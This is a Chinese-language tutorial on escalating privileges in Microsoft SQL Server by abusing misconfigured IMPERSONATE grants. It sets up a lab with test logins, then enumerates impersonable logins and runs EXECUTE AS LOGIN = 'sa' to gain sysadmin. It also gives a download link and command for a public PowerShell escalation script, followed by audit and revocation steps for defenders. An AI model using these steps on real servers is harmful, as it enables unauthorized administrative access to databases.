利用mssql模拟登录提权
字数 808 2025-08-20 18:17:47
MSSQL模拟登录提权技术详解
0x01 技术原理
MSSQL的模拟登录(IMPERSONATE)功能允许低权限用户临时获取高权限用户的身份执行操作。这原本是SQL Server提供的一种合法功能,用于满足特定业务需求,但当配置不当时,攻击者可利用此功能进行权限提升。
关键概念:
IMPERSONATE权限:允许一个用户模拟另一个用户的安全上下文EXECUTE AS命令:实际执行模拟操作的T-SQL语句- 安全上下文切换:模拟期间,用户权限会临时切换到被模拟用户的权限级别
0x02 环境准备与复现步骤
1. 创建测试用户
使用sa账户执行以下SQL创建4个测试用户:
-- Create login 1
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
-- Create login 2
CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
-- Create login 3
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
-- Create login 4
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
2. 配置模拟权限
授予MyUser1模拟sa、MyUser2和MyUser3的权限:
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO
3. 查询可模拟的用户
使用MyUser1登录后,执行以下查询查看可模拟的用户:
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
4. 执行模拟提权
验证当前权限并模拟sa账户:
-- 验证当前用户和权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 模拟sa登录
EXECUTE AS LOGIN = 'sa'
-- 再次验证权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 查看所有登录用户(权限提升后可见更多)
SELECT * FROM master.sys.sysusers WHERE islogin = 1
5. 恢复原始会话
REVERT
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
0x03 自动化工具
可使用PowerShell脚本自动化提权过程:
-
下载脚本:
https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 -
执行命令:
Invoke-SqlServer-Escalate-ExecuteAs -SqlUser MyUser1 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA
0x04 防御措施
-
权限最小化原则:
- 严格限制IMPERSONATE权限的分配
- 定期审计数据库中的模拟权限配置
-
监控与检测:
- 监控EXECUTE AS命令的使用情况
- 设置警报跟踪敏感账户的模拟行为
-
加固建议:
- 使用以下SQL查询检测不当的模拟权限:
SELECT p.name AS Grantee, m.name AS Grantor, p.type_desc AS PrincipalType FROM sys.server_permissions perm JOIN sys.server_principals p ON perm.grantee_principal_id = p.principal_id JOIN sys.server_principals m ON perm.grantor_principal_id = m.principal_id WHERE perm.permission_name = 'IMPERSONATE'
- 使用以下SQL查询检测不当的模拟权限:
-
补救措施:
- 撤销不必要的模拟权限:
REVOKE IMPERSONATE ON LOGIN::sa FROM [MyUser1];
- 撤销不必要的模拟权限:
0x05 技术总结
- 该技术不是漏洞而是功能滥用,依赖于配置不当
- 攻击路径:低权限账户 → 获取模拟权限 → 模拟高权限账户 → 系统权限提升
- 影响范围:所有配置了不当模拟权限的MSSQL服务器
- 利用条件:攻击者需要先获得一个低权限的数据库账户